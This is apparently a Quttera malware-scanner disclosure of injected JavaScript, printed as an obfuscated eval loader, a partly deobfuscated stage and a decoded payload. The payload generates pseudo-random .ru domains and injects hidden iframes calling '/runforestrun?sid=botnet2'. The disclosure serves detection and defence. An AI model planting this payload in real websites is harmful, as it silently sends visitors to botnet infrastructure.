Quttera web malware scanner detected malicious JavaScript

/*
 * Quttera web malware scanner detected malicious JavaScript code injecting hidden iframes to
 * multiple domains in *.ru area
 */

/*
 * first obfuscation level
 */
/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112,114,111,116,111,116,121,112,101,37,50,59,125,99,97,116,99,104,40,97,115,100,41,123,120,61,50,59,125,116,114,121,123,113,61,100,111,99,11 ... 8,34,34,41,59,102,111,114,40,59,49,55,55,54,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,91,102,114,43,40,40,101,41,63,34,67,111,100,101,34,58,49,50,41,93,40,40,119,91,106,93,47,40,53,43,101,40,34,106,37,50,34,41,41,41,41,59,125,10,105,102,40,102,41,101,40,115,41,59,125,10));/*qhk6sa6g1c*/

/*
 * second obfuscation level
 */
try {
    prototype % 2;
} catch (asd) {
    x = 2;
}
try {
    q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
    q.appendChild(q + "");
} catch (fwbewe) {
    i = 0;
    try {
        prototype * 5;
    } catch (z) {
        fr = "fromChar""eva";
    }
    if (v) e = window[v + "l"];
    w = f;
    s = [];
    r = String;
    z = ((e) ? "Code" : "");
    for (; 1776 - 5 + 5 > i; i += 1) {
        j = i;
        if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
    }
    if (f) e(s);
}



/*
 * decoded payload generate hidden iframes to "/runforestrun?sid=botnet2" query string
 * in random domains in *.ru area
 */
function nextRandomNumber(){
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if(test > 0){
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix){
    var d = new Date(unix*1000);
    var s = d.getHours() > 12 ? 1 : 0;
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max){
    return Math.round((Max-Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone){
    var rand = new RandomNumberGenerator(unix);
    var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
    var str = '';
    for(var i = 0; i < length; i ++ ){
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

setTimeout(function(){
    try{
        if(typeof iframeWasCreated == "undefined"){
            iframeWasCreated = true;
            var unix = Math.round(+new Date()/1000);
            var domainName = generatePseudoRandomString(unix, 16, 'ru');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
        }
    }catch(e){}
}, 500);